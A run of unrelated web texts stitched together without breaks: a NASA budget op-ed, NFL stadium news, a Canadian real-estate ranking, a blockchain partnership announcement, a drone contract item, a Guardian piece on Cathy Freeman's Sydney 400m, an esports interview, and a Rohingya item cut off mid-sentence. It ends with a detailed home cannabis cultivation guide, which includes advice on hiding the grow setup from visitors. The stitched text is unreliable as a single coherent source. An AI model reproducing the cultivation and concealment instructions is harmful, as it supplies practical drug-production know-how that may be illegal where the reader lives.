The ostensible reason for the administration’s decision to kill planetary exploration and space astronomy is budgetary discipline. Yet while federal spending has grown 40 percent since 2008, NASA’s funding has remained virtually the same. It is not NASA that is bankrupting America, but OMB. If the administration needs to cut budgets, it should start with those of the regulatory agencies that are strangling the nation’s businesses rather than NASA, which helps the economy through scientific discoveries, technological innovation and the inspiration of youth to pursue careers in engineering. Furthermore, if there were a need to cut NASA, it would make more sense to trim almost anywhere else in the agency. Instead, the administration’s goal seems to be to destroy the entire space program by hitting it in its most vital parts.
The desertion of America’s great exploration enterprise is an offense against science and civilization. It represents a radical departure from the pioneer spirit, and its ratification as policy would preclude any possibility of a human future in space. It is an inexcusable decision, and it needs to be reversed.
Robert Zubrin is the president of Pioneer Astronautics and author of “The Case for Mars: The Plan to Settle the Red Planet and Why We Must” (Free Press, 2011, second edition).
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.The San Diego Chargers are reportedly making the move north to Los Angeles and will make the announcement as soon as Thursday. Though the details are likely still being ironed out, including a possible rebranding in a year or two – they do have a place to play.
It pales in comparison to the place they called home for the past 40-plus years, though.
According to USA Today and multiple other reports, the Chargers plan to play their home games at the StubHub Center for two seasons.
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San Diego’s Qualcomm Stadium has a seating capacity of more than 70,000. The StubHub Center holds less than half that – 30,000 seats. It will only be a temporary home, of course, until the Chargers’ shared stadium with the Rams in Inglewood is ready in 2019.
The Rams currently play their home games at the Coliseum, which holds more than 90,000 fans – not that it’s ever full. However, the drop-off from 70,000-plus to 30,000 is massive. It’ll be the smallest NFL stadium by a wide margin with the Oakland Coliseum currently holding that title at 56,000. Every other NFL venue holds at least 60,000.
The StubHub Center is a soccer stadium used by the Los Angeles Galaxy of the MLS.Guelph has topped the list as the city with the most attractive real estate for buyers in Canada, according to the 2017 MoneySense Where to Buy Now ranking. In doing so, it bumps Thunder Bay from the perch it had held for two consecutive years, knocking that city down to fourth spot.
This year’s ranking is released as concerns about Canada’s housing market took on a new sense of urgency. One by one in the span of a few days bank CEOs, governments and economists have expressed their discomfort with what they see unfolding in the housing sector. A report showing Toronto home prices surged 33% year-over-year in March served as an expensive exclamation point.
This feeling of unease is being echoed by another unlikely source—realtors. While there is a perception that agents love a frothy market, many of the ones we connected with have reservations as they watch their clients pony up for homes they know to be grossly overpriced.
What is often overlooked is how localized these challenges are. Take the GTA and Vancouver out of the equation and you have a vastly different looking housing market. In some cities, homes listed on a Thursday are sold by Tuesday; in others, they can sit for weeks if not months.
No market is completely devoid of challenges, but some are in a much better position to withstand a downturn. The one that grabs our attention this year is Guelph, which appears to have one of the healthiest real estate markets in Canada.
Gallery: Top 35 cities to buy real estate in »
Homes in Guelph go for about $441,000, which is more than four times the average household income. Relative to markets like Saint John, Thunder Bay or Moncton, this Southwestern Ontario city certainly isn’t cheap, but in the shadow of Toronto, this is what passes as affordable.
Still, as important as affordability is, cheap house prices alone don’t make for a healthy housing market. A strong housing market should offer some income potential, sustained price growth, and a strong economy to support it. Guelph excels in each of these areas. These are the factors that drive the Where to Buy Now rankings.
Economically, Guelph is on solid and stable footing with a minuscule unemployment rate. It’s home to advanced manufacturing companies, green tech firms, while also supporting several high paying government and education jobs.
Real estate investors looking in this market will appreciate how tight the rental market is in the city. Rents have risen 20% over the past five years while they city’s vacancy rate is below 1%, meaning investors should not have to work very hard to find a tenant.
Finally, home owners can take some comfort knowing the value of their homes continues to rise, up 16% in 2016. More importantly, unlike Toronto and Vancouver where a shortage of listings is putting upward pressure on prices, the market in Guelph is more balanced.
Outside of Guelph, some cities continue to surprise us. The fact Vancouver remains in the top 10 would appear to be surprising. Certainly, the city earns no points for affordability, but the strength of its underlying economy, market momentum and the earning potential more than makes up for this. The vacancy rate in the city sits at just 0.7%, which has been a factor in the 23% jump in rental rates over the past five years.
The top 35 cities to buy real estateAion and Metaverse partner on cross-chain digital assets and oracles
Metaverse Team Blocked Unblock Follow Following Nov 8, 2017
We are excited to announce an upcoming partnership between Aion, a multi-tier blockchain ecosystem designed to address the unsolved problems of scalability, privacy and interoperability in blockchain networks, and Metaverse, a blockchain platform building a web of digital assets and establishing an open ecosystem in which digital value can be circulated freely.
This partnership will focus on exploring the ability to transact native digital assets on the Metaverse protocol across other blockchains and providing access to new user bases, industry or geography based assets and the unique attributes of other blockchains. In addition, we will be investigating connecting and leveraging protocol-specific oracles across networks, exponentially increasing the quality and accessibility of trusted oracles.
“Aion is not only building a network to connect disparate blockchains together, but is also creating infrastructure to launch powerful decentralized applications that can operate across the Aion connected network; which is why we are fully convinced that the alliance with Aion will contribute to the establishment of the Metaverse ecosystem by engaging more application development on the Metaverse blockchain.” Eric Gu, CEO, MetaverseUnmanned Systems
Air Force orders upgrades for Reaper drone
The Air Force has been using Predator/Reaper unmanned aerial vehicles since the mid-1990s. And while it has continued to buy newer versions of the General Atomics-made aircraft, each with improved systems and capabilities, it continues to upgrade its older versions.
The Air Force Lifecycle Management Center has given General Atomics a $12.3 million order for upgrades to the MQ-9 Block 1 Reaper, under its Extended Range/ Electrical Safety Improvement Program depot activation Logistics Support Analysis.
The current basic ordering agreement was made last year, running four years with a ceiling of $233.2 million. It has been used for work such as software upgrades, under a $34 million order awarded in January, addressing corrections to threat, safety, interoperability issues that may have arisen from earlier hardware upgrades.
The Predator, first used in 1995, was originally a surveillance tool for the Air force and CIA. Later versions such as the MQ-9 were re-nicknamed the Reaper because of their added strike power. Newer versions, such as the MQ-9 Reaper Block 5, have added capabilities, such as secure communications, more power, better payload integration and newer weapons, as well as an auto-land feature that can reduce the manpower used to operate the aircraft.
Upgrades to the earlier versions are intended to help them maintain effectiveness. The latest order, specifically for the MQ-9 Extended Range, Block 1, addresses maintenance and repair procedures with regard to improving electrical safety. Work is expected to be completed by Aug. 31, 2018.As her country’s foremost Aboriginal athlete and sole track and field medal hope, the sprinter carried a unique burden of expectation in the 2000 Olympics 400m final • In pictures: relive Freeman’s Sydney triumph • The Joy of Six: sporting bravery
Looking back at the women’s 400m at the Sydney Olympics, it’s the noise that hits you. It begins when her picture appears on the big screen at the Olympic Stadium. It is deafening, unabashed, hero-worship. The hopes of a nation and a people sit on the slight figure in lane six. In front of 112,524 expectant fans Cathy Freeman, Australia’s only hope of an athletics gold medal at the 2000 Games, in that space-age hooded bodysuit, puffs out her cheeks and prepares for the biggest race of her life.
Australian equestrian Sue Hearn gets late call to make Olympic debut aged 60 Read more
Freeman’s path to that start line had been a long one and her journey came to be seen as symbolic of the Aboriginal people’s journey from persecuted natives to Australian equals. She became the icon of national unity. “She has come to symbolise the painless reconciliation between black and white,” said David Rowe, professor of media and cultural studies and Australia’s University of Newcastle, at the time. “She stands for the Sydney Olympics.”
The often painful story of Australia’s indigenous peoples is one full of massacres, theft and state-approved racism, the last of which affected Freeman directly. Her grandmother was one of the Stolen Generation, the policy by which Aboriginal children were forcibly removed from their parents and placed with white families. “I’ll never know who my grandfather was, I didn’t know who my great-grandmother was, and that can never be replaced,” said Freeman. “All that pain is very strong and generations have felt it.”
Throughout her career Freeman was proud to fly the Aboriginal flag, literally as well as metaphorically, even if not everyone approved. Following her gold medal in the 400m at the 1994 Commonwealth Games, she carried the Aboriginal flag on her lap of honour. “It was no big deal,” said Freeman. “I was just somebody who wanted to display a flag that everybody knew about and nobody ever saw. It’s not a non-Australian flag, it’s an indigenous Australian flag.” The Australian Commonwealth Association idiotically disagreed and the young Freeman was reprimanded.
The domestic issues had threatened Sydney’s very attempt to host the Games. In 1992 detailed dossiers on the mistreatment of Aborigines were sent to the rival bid committees of Beijing, Brasilia, Istanbul, Manchester, Milan and Tashkent by campaign groups determined Australia would not host the Olympics while it was a “racist state”. “We don’t support the Olympic bid while Aboriginal people in this country are still being subjected to genocidal practices,” said Jenny Munro of the Metropolitan Land Council of Sydney. Later campaign groups would also ask Freeman to boycott the Games. “If you take running away from me, you take away a huge part of my life,” she replied. “People say we should be protesting for white people taking indigenous lives away. Why turn around and do the same to one of our own? Everyone deserves to be free.” In 1993, nevertheless, Sydney narrowly beat Beijing for the right to host the 2000 Games.
By that time Freeman had already made an impact on the athletics scene, as a 16-year-old becoming the first Aborigine to win a Commonwealth Games gold in the 4x100m relay in 1990. She followed it up with gold (and that reprimand) in the 400m in 1994, a fourth-place finish in the world championships in Gothenburg in 1995 and an Olympic silver medal in 1996 in Atlanta. On the latter two occasions France’s Marie-José Pérec, a sprinting phenomenon on her day, took gold. As the 90s progressed, though, Freeman took the upper hand, winning the world title in 1997 and 1999. On neither occasion did Pérec compete, but the reigning champ was due to be on the start line in Sydney.
Pérec was seen as the only woman who could deny Freeman, and Australia, their gold. She was Darth Vader to Freeman’s Skywalker, Lex Luthor to Australia’s Superwoman. Pérec hoped to take advantage if Freeman crumbled under the pressure, but instead it was the French athlete who cracked. After arriving in Sydney for the Games, she complained about being hounded by the media, said she was “freaking out” as the event neared and eventually fled the country after claiming to have been threatened at her hotel.
That left the way clear, but arguably ratcheted up the pressure another notch. With Pérec out of the way there were no excuses. To avoid the hysteria at home Freeman had prepared for the Games just off the M4 at Eton. It was, Freeman admitted, a bolthole of peace, tranquillity and solitude. But once she returned to Australia there could be no doubt about the pressure. Travellers arriving at Sydney airport were greeted by a giant Freeman advertising poster and other colossal pictures of her could be found around the city.
At the spectacular opening ceremony, Freeman lit the flame (a watery role that meant she ended the ceremony shivering).
“She has emerged as a symbol of Australia’s edgy transformation from the white male-dominated imperial outpost that staged the 1956 Olympics to the multicultural melting pot of 2000,” wrote Matthew Engel in these pages. On the day of the final, the Sydney Morning Herald’s front-page headline was: “The race of our lives.” Cathy had become “Our Cathy”.
The heats went without a hitch. She was fifth fastest overall in the first stage after cruising round in 51.63sec. In the second round she again won her heat, beating Falilat Ogunkoya, the bronze medallist in Atlanta in the process, in 50.31sec. In the semis she again thrilled a nervous crowd with a time of 50.01sec, comfortably the fastest of the round.
And so to Monday 25 September 2000 and that cauldron of noise. They get away first time, Freeman running conservatively, almost carefully. At 200m she’s in the lead or close to it, then the noise dips a fraction as the crowd waits for the end of the stagger and the true picture to emerge. The roar returns as Freeman emerges perhaps third – behind Katharine Merry and Lorraine Graham in lanes three and four – as they enter the home straight. By 60m out she’s won it. As the lactic acid builds up in the legs of her adversaries, Freeman powers clear, the final strides run as if there’s a wall to be crashed through on the finish line. The Australian commentator Bruce McAvaney and pundit Raelene Boyle, an Olympic silver medallist in 1968 and 1972, summon words that remain famous in Australia. “What a legend!” says McAvaney. “What a champion!” “What a relief,” adds Boyle.
Such was the lifting of pressure it’s amazing Freeman didn’t suffer a bout of the bends. The look on her face immediately after crossing the line is certainly remarkable, as if the utter joy is too much to take in, too overwhelming. There’s the briefest shake of the head before she bows and then crumples to her haunches. She’s on the floor for well over a minute but the noise refuses to relent. Then finally she’s up, smiling and off for the lap of honour, an Australian and an Aboriginal flag in her hand.
What the Guardian said: 26 September 2000
As Katharine Merry said afterwards, even the bogong moths flew off in shock. When the gun went off to start the women’s 400 metres final, the answering roar of 112,524 people could probably have been heard all the way to Queensland, where the creatures that have plagued Stadium Australia this week began their migration. And the sparkle of the flashbulbs that circled the track might very well have been visible from the moon.
The noise and the sparkle lasted 49.11sec, which was how long it took Cathy Freeman to run her way to a gold medal and into Australian legend, ahead of Lorraine Graham of Jamaica and Merry of Britain in the silver and bronze medal positions. And Freeman did it while carrying what was perhaps a greater historical burden than any athlete since Jesse Owens, propelled by the cheers of a crowd whose size was an all-time record for an Olympic stadium event.
By accepting a role which cast her as the symbol of the Aboriginal people’s desire for retrospective and present justice, the 27-year-old Freeman might have seemed to be adding lead weights to her running shoes. But so deep is her integrity and so profound her involvement in an issue which shaped her own family’s story that she was able to confront a degree of expectation which would surely have crushed a lesser person.
There is nothing glib or rhetorical about Freeman’s way of expressing her beliefs. After the race she gently sidestepped an invitation to say that she had reached her version of Aboriginal “dreamtime”, but she was not about to start avoiding the implications of her win.
“My family are a constant reminder of my Aboriginal heritage,” she said, “and it gave me a big thrill to make them so happy.” After receiving her gold medal, she ran over to the stands to present her bouquet to her mother.
Australia will have to wait and see whether or not its consciousness is really changed by her victory and by her equally symbolic performance in lighting the Olympic flame 10 days ago. The tone of some of the letters in the local papers suggests that enlightenment is not universal, and that genuine “reconciliation” is still some way off. “What’s happened tonight probably won’t make much difference to people’s attitudes, or to the politicians,” Freeman said. “All I know is that I made a lot of people happy. And I’m happy.”
On the track, the purity of her performance was its own reward. Wearing a one-piece skinsuit in the pale green, yellow and white of Australia, she looked like a beautiful sprite. The hood framed her expressive face, emphasising the deep breath and the grimace of determination before she lowered herself into the starting blocks.
Following the instruction of her coach, Peter Fortune, she took the first half of the race relatively easily and after 300 metres she was lying a mere third, 0.14sec down on Graham and 0.08sec on Merry. Then she turned it on, running the last 100 metres in an astonishing 12.97sec to finish four metres ahead of Graham, who crossed the line another metre in front of the impressive Merry.
Having achieved her ambition, Freeman did not leap in the air or otherwise salute her own achievement in the way of most contemporary athletes. She pulled down the zip of her suit, pulled back the hood and simply sat down on the track. Blank-faced, she looked as though she had been drained of all sensation. But later, when she had regathered her faculties, she said that the dominant feeling had been one of relief. “I was totally overwhelmed because I could feel the crowd all around me, all their emotions, all that happiness and joy. I just had to sit down.”
She was asked if things could get any better than this. “I don’t think so,” she said. “I have a fairly creative imagination, but I can’t think of anything better right now.”
The job of lighting the flame at the conclusion of the spectacular opening ceremony had given her a few worries, not all of them connected with the faulty mechanism of the circle of fire in which she stood, watched by a worldwide audience of billions.
“I decided I’d make a big effort to relax, not get too emotional or buy into the hype, and to keep my life simple and stick to my priorities. Running comes more naturally to me than the creative stuff.”
Despite the dramatic withdrawal of Marie-José Pérec, the Olympic champion in Atlanta, the quality of the race was remarkable. Freeman produced her season’s best time, while Graham and Merry both ran personal bests, in 49.58sec and 49.72sec respectively, as did Donna Fraser, the other British woman in the race, who clocked 49.79sec. Merry and Fraser were both going below 50sec for the first time, and at the ages of 26 and 27 respectively they can look forward to further improvement.
“Me and Donna go back a long way,” the exhilarated Merry said. “If it had been the other way round, with Donna on the rostrum and me fourth, I’d still be pleased. I’ve known Cathy the same length of time, and there’s nobody in athletics I respect more. I had no illusions. Cathy on form with 110,000 people behind her was a pretty hard mountain to shift.
“I like Cathy as a person and when we crossed the line I just shook her hand and said: ‘You’re awesome.’ She deserves everything she’s got. We’ve all had our hard times this year, and she’s had her fair share. I’m 110% pleased for her. She’s a great girl.”
Blocked toilets and exposed wiring: Olympic Village dismays Australia team Read more
Merry has been bothered by sinus trouble over the past couple of years, and will need a second operation soon. “But you can’t let something like that stop you,” she said. “I’m ecstatic. The first part of my season I believed I could get on the rostrum in Sydney. In June I didn’t know if I’d even be here. So I’m delighted with the medal, and with my time. I’ve been trying to break 50 seconds all year.”
She had spent the morning with her coach, Linford Christie, just hanging out, playing table tennis and chatting. “We didn’t talk about the race. All he said was: ‘I’m not going to tell you how to run because you know how you’re going to run.’ But when I walked out on to the track I was so nervous. All I could hear was ‘Go, Cathy! Go, Cathy!’ Then I heard this big voice shouting ‘C’mon, Christmas! C’mon, Christmas!’ That made me laugh.
“Only Linford calls me Christmas. So I knew where he was sitting and as soon as I’d finished the race I ran over to him and said: ‘This one was for you.’ Everything was for Linford this trip. I’m so glad I got a medal for him. He wanted to get a woman on the rostrum at an Olympics and I’m just glad it was me.”
Could she summarise his contribution to her performance?
“I could, but I’d begin to cry. He’s the best.”
Richard WilliamsAfter coming close to the championship twice — at ESL One New York and MSG Mykonos — Team Liquid faced early elimination from EPICENTER, losign to the one-two Danish punch of North and Astralis.
Even as the competition raged on without them, TL's coach Wilton "zews" Prado found time to sit with Cybersport.com to explain what went wrong with the "horseheads" and how has the NA scene changed over the last few months.
* * *
I'd like to find your thoughts on your run in the event. Obviously, it wasn't what you probably wanted but nevertheless can you give us your mind on it?
It's definitely not the run we wanted. We got through Vega Squadron quite easily, which was an important match, just one best-of-3 to determine if we could get in or not, and it came after a long travel so it was a bit hard in that sense.
Once we got into the actual tournament, everyone here is really stacked. We got North first, we won the first map but after that we just couldn't close the crucial rounds. I don't think we won almost any clutches and there were so many of them in both matches.
That's unfortunate, if one or two things would've gone differently, our position could've changed, but this just shows there's so much we have to work on if we want to always be competing at the top level against the best.
Most said that out of the two underdogs, Vega were probably the team most likely to upset. How much of a factor was the whole underdog thing in your match against them?
The underdog factor is what you let it be, it's how much the team that is not the underdog lets it affect them and get in their head. It comes to preparation as well, and how much you respect the other team and how you treat the match.
Same with the underdog, it depends if you have the mentality that anything goes, where you try to steal a map by doing a scrimmy stuff, or if you try to play your own game. The latter is harder, but that's how you get better, right? I feel Vega tried to play their own game, they didn't try to steal the match from us. They ended up resorting to it after we took leads on both maps, but that's kind of normal.
TyLoo are also here with peacemaker as coach. From the perspective of a coach, how do you feel it went for them? Obviously, there's the language barrier of having three Chinese, an Indonesian and a Ukrainian. How does that work? Do you think they can implement any improvements?
Improvements — always, it doesn't matter if you win or lose. They got eliminated in the wild card but they played against FaZe Clan, who are a phenomenal team. Considering how FaZe exited the tournament early it kind of takes away from that, but I still think TyLoo should be proud of what they did and their tactical variety.
This tournament, I think they knew it'd be extremely hard for them, since they were focused on the Asia Minor and this was more of a test and a warm-up than anything else.
As for how things work internally, I imagine it must be really hard having an English-speaking team when they are Asian and it's not their main language. Considering the variety coming even from playstyles, it shouldn't be that easy. They also come from a region that has lacked structure in CS in regards to players, so you don't have those experienced veterans to pass down the knowledge, so for Peacemaker I think that's a very cool opportunity: to share some of the western world's approach to CS. They still have a lot to improve, but they've improved a lot already and they can hopefully make it further in tournaments soon, because I think with their presence in tournaments they'll be able to aggregate a lot for the scene.
Photo by: Epicenter Media.epicenter.gg
Taking a glance at the past, in our most recent interview — at ECS Season 3, I believe — we discussed the situation of NA and how there were issues with scrims, how they weren't enough of them and how teams genuinely felt that there wasn't enough time dedicated outside of that. Has the situation improved now?
That's still complicated, because there's such a disparity between what people consider to be tier 1, tier 2 and tier 3 teams. I still think that EU's standard for practice is better in terms of quality and quantity, availability at all times.
It got worse, and better at the same time. Immortals fell apart, OpTic Gaming fell apart, there's a new OpTic team that is not always there, so it kind of took away from the teams, but the ones who are there, they are actively trying to be more professional.
If we go as early back as spring 2017, we didn't have a single team in the top 10 and now there are two. How has this happened?
Results, I don't think there's anything else. You practice, you get results and you climb up the rankings, that's how it works. I can't speak of Cloud9, who are the other team, but I know for us the result is based on a lot of time practicing a concept and a structured method of play.
It takes a while to get in rhythm but once it does you also don't fall out of it. It's consistent and not random. Sometimes you don't have the best events, but you will always have a consistent playstyle where you'll be able to face-off against the competition. You won't be stealing maps, you will actually be beating them.
More interviews from Epicenter CS:GOPope Francis strongly criticised atrocities, including mass killings and gang rapes, committed against Rohingya Muslims.
Condemning the torture and killings committed by Myanmar's security forces that - according to a UN report - possibly amount to ethnic cleansing, Francis said in a statement on Wednesday that Rohingya Muslims were targeted "simply because they want to live their culture and their Muslim faith".
In a UN report made public last week, 204 Rohingya refugees who fled to neighbouring |
regenerated harvest.
Cut holes in the bottom of containers and fill the last few inches at the top with vermiculite only, to start seeds or accept seedling transplants. Since vermiculite holds water well, wicks water well, but does not hold too much water, roots always have lots of oxygen, even if they are sitting in a tray full of water. A hydrogen peroxide based weed plant food is used to get extra oxygen to the White Widow plants when the pans are kept continuously full. The water can be allowed to recede each time after watering, before new solution is added. This allows the weed plants roots to dry somewhat, and make sure they are getting enough oxygen.
Use SuperSoil brand potting soil, as it is excellent and sterilized. If you insist on using dirt from the yard, sterilize it in the microwave or oven until it gets steamy.(NOT RECOMMENDED) Sterilize the containers with a bleach solution, especially if they have been used a previous season for another weed plant.
VEGETATIVE GROWTH
Once sprouted, the weed plant starts vegetative growth. This means the White Widow plant will be photosynthesizing as much as possible to grow tall and start many grow tips at each pair of leaves. A grow tip is the part that can be cloned or propagated asexually. They are located at the top of the weed plant, and every major internode. If you “top” the weed plant, it then has two grow tips at the top. If you top each of these, you will have 4 grow tips at the top of the weed plant. (Since it takes time for the weed plant to heal and recover from the trauma of being pruned, it faster to grow 4 smaller weed plants and not top them at all. Or grow 2 White Widow plants, and “train” them to fill the same space. Most growers find)
All weed plants have a vegetative stage where they are growing as fast as possible after the weed plant first germinates from seed. It is possible to grow weed plants with no dark period, and increase the speed at which they grow by 15-30&. Plants can be grown vegetatively indefinitely. It is up to the gardener to decide when to force the weed plant to flower. A White Widow plant can grow from 12” to 12’ before being forced to flower, so there is a lot of latitude here for each gardener to manage the garden based on goals and space available.
A solution of 20-20-20 with trace minerals is used for both hydroponic and soil gardening when growing continuously under lights. Miracle Grow Patio or RapidGrow weed plant food is good for this. A high P weed plant food such as Peter’s 5-50-17 food is used for blooming and fruiting weed plants when beginning 12 hour days. Epsom salts (1tsp) should be used in the solution for magnesium and sulfur minerals. Trace minerals are needed too, if your food does not include them. Miracle Grow Patio includes these trace elements, and is highly recommended.
Keep lights on continuously for sprouts, since they require no darkness period like older weed plants. You will not need a timer unless you want to keep the lamps off during a certain time each day. Try to light the weed plants for 18 or more hours, or continuously at this point.
Bend a young weed plant’s stem back and forth to force it to be very thick and strong. Spindly stems can not support heavy flowering growth. An internal oscillating fan will reduce humidity on the leave’s stomata and improve the stem strength as well. The importance of nternal air circulation can not be stressed enough. It will excersize the weed plants and make them grow stronger, while reducing many hazards that could ruin your crop.
HYDROPONIC VEGATATIVE SOLUTION, per gallon:
Miracle Grow Patio (contains trace elements) 1 teaspoon
Epsom salts ½ teaspoon
Human Urine (OPTIONAL - may create odors indoors.) ¼ cup
Oxygen Plus Plant Food (OPTIONAL) 1 teaspoon
This mixture will insure your weed plants are getting all major and minor nutrients in solution, and will also be treating your White Widow with oxygen for good root growth, and potassium nitrate for good burning qualities. Another good GROWTH PHASE mix is ¼ tsp Peter’s 20/20/20 fertilizer per gallon of water, with trace elements and oxygen added, or fish emulsion. Fish emulsion is great in the grean-house or outdoors, where smells are not an issue, but is not recommended for indoors, due to its strong odor.
FLOWERING
The the White Widow plant will be induced to fruit or flower with dark cycles of 11-13 hours that simulate the oncoming winter in the fall as the days grow shorter. As a consequence, it works out well indoors to have two separate areas; one that is used for the initial vegetative state and one that is used for flowering and fruiting. There is no other requirement other than to keep the dark cycle for flowering very dark with no light interruptions, as this can stall flowering by days or weeks.
Once a weed plant is big enough to mature (12” or over), dark periods are required for most weed to flower and bear fruit. This will require putting the lamp on a timer, to create regular and strict dark periods of uninterrupted light. In the greenhouse, the same effect can be created in the Summer (long days) by covering it with a blanket to make longer night periods. A strict schedule of covering the weed at 8pm and uncovering them at 8am for 2 weeks will start your weed to flowering. After the first 2 weeks, the schedule can be relaxed a little, but it will still be necessary to continue this routine for the weed to completely flower without reverting back to vegatative growth.
Outdoors, Spring and Fall, the nights are sufficiently long to induce flowering at all times. Merely bring the weed from indoors to the outside at these times, and the weed plants will flower naturally. In late Summer, with Fall approaching, it may be necessary only to force flowering the first two weeks, then the rapidly lengthening nights will do the rest.
Give flowering weed plants high P weed plant food and keep them on a strict light regimen of 12 hours, with no light, or no more than a full moon during the dark cycle. 13 hours light, 11 dark may increase flower size while still allowing the White Widow plant to go into the flowering mode. Use longer dark periods to speed maturity toward the end of the flowering cycle if speed is of the essence. (8-10 days) This will however, reduce total yield.
Two shelves can be used, one identical to the other, if strictly indoor gardening is desired. One shelf’s lights are set for 12-13 hours, and one is lit continuously. Plants are started in continuous light, and are moved to the other shelf to flower to maturity after several weeks. This flowering shelf should be bigger than the “starting” or “vegetative” shelf, so that it can accommodate larger weed plants. Or, some weed plants can be taken outside if there is not enough space on the flowering shelf for all of them near harvesting.
A light tight curtain can be made from black vinyl, or other opaque material, with a reflective material on the other side to reflect light back to the weed plants. This curtain can be tied with cord when rolled up to work on the garden, and can be velcroed down in place to make sure no light leaks in or out. If the shelf is placed up high, it will not be very noticeable, and will fit in any room. Visitors will never notice it unless you point it out to them, since it is above eye level, and no light is being emitted from it.
Flowering White Widow plants like very high P level foods, such as 5-50-17, but 10-20-10 should be adequate. Nutrients should be provided with each watering when first flowering.
Trace elements are necessary too; try to find foods that include these, so you don’t have to use a separate trace element food too. Home improvement centers sell trace element solutions rich in iron for lawn deficiencies, and these can be adapted for use in cultivating the herb. Prices for these mass produced fertilizers are significantly cheaper than the specialized hydroponic fertilizers sold in indoor gardening shops, and seem to work just fine.
HYDROPONIC FLOWERING SOLUTION, per gallon:
1 tspn high P weed plant food, such as 15-30-15, or 5-50-17, etc.
½ tspn epsom salts
1 tspn Oxygen Plus Plant Food (Optional)
1 tspn Trace Element food
I cannot stress enough that during the FLOWERING PHASE, the dark period should not be violated by normal light. It delays flower development due to hormones in the weed plant that react to light. If you must work on the weed plants during this time, allow only as much light as a VERY pale moon can provide for less than 5 minutes. Keep pruning to a minimum during the entire FLOWERING PHASE.
A green light can be used to work on the garden during the dark period with no negative reactions from the White Widow plants. These are sold as nursery safety lights, but any green bulb should be OK. It is best to keep the dark hours a time when you would normally not wish to visit the garden. Personally, I like my garden lit from 7pm to 7am, since it allows me to visit the garden at night after work and in the morning before work, and all day long, while I’m too busy to worry about it, it lies unlit and undisturbed, flowering away...
Flowering weed plants should not be sprayed often as this will promote mold and rot. Keep humidity levels down indoors when flowering, as this is the most delicate time for the weed plants in this regard.
Early flowering is noticed 1-2 weeks after turning back the lights to 12 hour days. Look for 2 white hairs emerging from a small bulbous area at every internode. This is the easiest way to verify females early on. You can not tell a male from a female by height, or bushiness.
3-6 weeks after turning back the lights, your weed plants will be covered with these white pistils emerging from every growtip on the weed plant. It will literally be covered with them. These are the mature flowers, as they continue to grow and cover the weed plant. Some weed plants will do this indefinately until the lights are turned back yet again. At the point you feel your ready to see the existing flowers become ripe ( you feel the weed plant has enought flowers), turn the lights back to 8-10 hours. Now the weed plant will start to ripen quickely, and should be ready to harvest in 2-3 weeks. The alternative, is to allow the weed plant to ripen with whatever natural day length is available outside, or keep the weed plants on a constant 12 hour regimen for the entire flowering process, which may increase yield, but takes longer.
Plants can be flowered in the final stages outdoors, even if the days are too long for normal flowering to occur. Once the White Widow plant has almost reached peak floral development, it is too far gone to revert quickly to vegatative growth, and final flowering will occur regardless. This will free up precious indoor space sooner, for the next batch of clones to be flowered.
Look for the white hairs to turn red, orange or brown, and the false seed pods ( you did pull the males, right?) to swell with resins. When most of the pistils have turned color (~80%), the flowers are ripe to harvest.
Don’t touch those buds! Touch only the large fan leaves if you want to inspect the buds, as the THC will come off on your fingers and reduce the overall yield if mishandled.
HYDROPONICS
Most growers report that a hydroponic system will grow weed plants faster than a soil medium, given the same genetics and environmental conditions. This may be due to closer attention and more control of nutrients, and more access to oxygen. The weed plants can breath easier, and therefor, take less time to grow. One report has it that weed plants started in soil matured after hydroponic weed plants started 2 weeks later!
Fast growth allows for earlier maturation and shorter total growing time per crop. Also, with soil mixtures, weed plant growth tends to slow when the White Widow plants become root-bound. Hydroponics provides even, rapid growth with no pauses for transplant shock and eliminates the labor/materials of repotting if rockwool is used. (Highly recommended!)
By far the easiest hydroponic systems to use are the wick and reservoir systems. These are referred to as Passive Hydroponic methods, because they require no water distribution system on an active scale (pump, drain, flow meter and path). The basis of these systems is that water will wick to where you want it if the medium and conditions are correct.
The wick system is more involved than the reservoir system, since the wicks must be cut and placed in the pots, correct holes must be cut in the pots, and a spacer must be created to place the weed plants up above the water reservoir below. This can be as simple as two buckets, one fit inside the other, or a kiddie pool with bricks in it that the pots rest on, elevating them out of the nutrient solution.
I find the wick setup to be more work than the reservoir system. Initial setup is a pain with wicks, and the weed plants sit higher in the room, taking up precious vertical space. The base the pot sits on may not be very stable compared to a reservoir system, and a knocked over weed plant will never be the same as an untouched weed plant, due to stress and shock in recovery.
The reservoir system needs only a good medium suited to the task, and a pan to sit a pot in. If rockwool slabs are used, a half slab of 12” rockwool fits perfectly into a kitty litter pan. The roots spread out in very desirable horizontal fashion and have a lot of room to grow. Plants grown in this manner are very robust because they get a great deal of oxygen at the roots. Plants grown with reservoir hydroponics grow at about the same rate as wicks or other active hydroponic methods, with much less effort required, since it is by far the simplest of hydroponic methods. Plants can be watered and feed by merely pouring solution into the reservoir every few days. The pans take up very little vertical space and are easy to handle and move around.
In a traditional hydroponic method, pots are filled with lava/ vermiculite mix of 4 to 1. Dolite Lime is added, one Tblspn. per gallon of growing medium. This medium will wick and store water, but has excellent drainage and air storage capacity as well. It is however, not very resuable, as it is difficult to recapture and sterilize after harvest. Use small size lava, 3/8” pea size, and rinse the dust off it, over and over, until most of it is gone. Wet the vermiculite (dangerous dry, wear a mask) and mix into pots. Square pots hold more than round. Vermiculite will settle to bottom after repeated watering from the top, so only water from the top occasionally to leach any mineral deposits, and put more vermiculite on the top than the bottom. Punch holes in the bottom of the pots, and add water to the pan. It will be wicked up to the roots and the weed plants will have all they need to flourish.
The reservoir is filled with 1 ½ - 3 inches of water and allowed to recede between waterings. When possible, use less solution and water more often, to pull more oxygen to the roots faster over time. If you go away on vacation, simply fill the reservoirs full to the top, and the weed plants will be watered for 2 weeks at least.
One really great hydroponic medium is Oasis floral foam. Stick lots of holes into it to open it up a little, and start White Widow plants/clones in it, moving the cube of foam to rockwool later for larger growth stages. Many prefer floral foam, as it is inert, and adds no PH factors. It’s expensive though, and tends to crumble easily. I’m also not sure it’s very reusable, but it seems to be a popular item at the indoor gardening centers.
Planting can be made easier with hydroponic mediums that require little setup such as rockwool. Rockwool cubes can be reused several times, and are premade to use for hydroponics. Some advantages of rockwool are that it is impossible to over water and there is no transplanting. Just place the weed plant’s cube on top of a larger rockwool cube and enjoy your extra leisure time.
Some find it best to save money by not buying rockwool and spending time weed planting in soil or hydroponic mediums such as vermiculite/lava mix. Pearlite is nice, since it is so light. Pearlite can be used instead of or in addition to lava, which must be rinsed and is much heavier.
